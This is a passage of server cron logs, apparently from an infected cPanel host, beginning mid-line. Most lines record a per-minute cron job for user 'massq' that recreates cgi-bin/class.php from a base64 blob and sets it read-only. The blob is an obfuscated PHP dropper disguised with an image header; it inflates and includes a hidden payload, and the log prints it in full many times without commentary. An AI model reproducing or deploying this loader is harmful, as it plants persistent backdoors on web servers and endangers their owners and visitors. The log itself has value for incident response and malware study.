&quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 03:55:01 server CROND[22206]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 03:55:01 server CROND[22208]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 03:55:01 server CROND[22209]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 03:56:01 server CROND[23050]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 03:57:01 server CROND[23929]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 13 03:57:01 server CROND[23930]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 03:58:01 server CROND[24827]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 03:59:01 server CROND[25272]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 04:00:01 server CROND[26164]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2&gt;&amp;1)
Nov 13 04:00:01 server CROND[26166]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 04:00:01 server CROND[26165]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 04:00:01 server CROND[26167]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 04:00:01 server CROND[26168]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 04:01:01 server CROND[27152]: (root) CMD (run-parts /etc/cron.hourly)
Nov 13 04:01:01 server CROND[27153]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 04:01:01 server run-parts(/etc/cron.hourly)[27152]: starting 0anacron
Nov 13 04:01:01 server run-parts(/etc/cron.hourly)[27164]: finished 0anacron
Nov 13 04:02:01 server CROND[28049]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 04:03:01 server CROND[28959]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 04:04:01 server CROND[29842]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 04:05:01 server CROND[30754]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 04:05:01 server CROND[30756]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 04:05:01 server CROND[30755]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 04:05:01 server CROND[30767]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 04:06:01 server CROND[31905]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
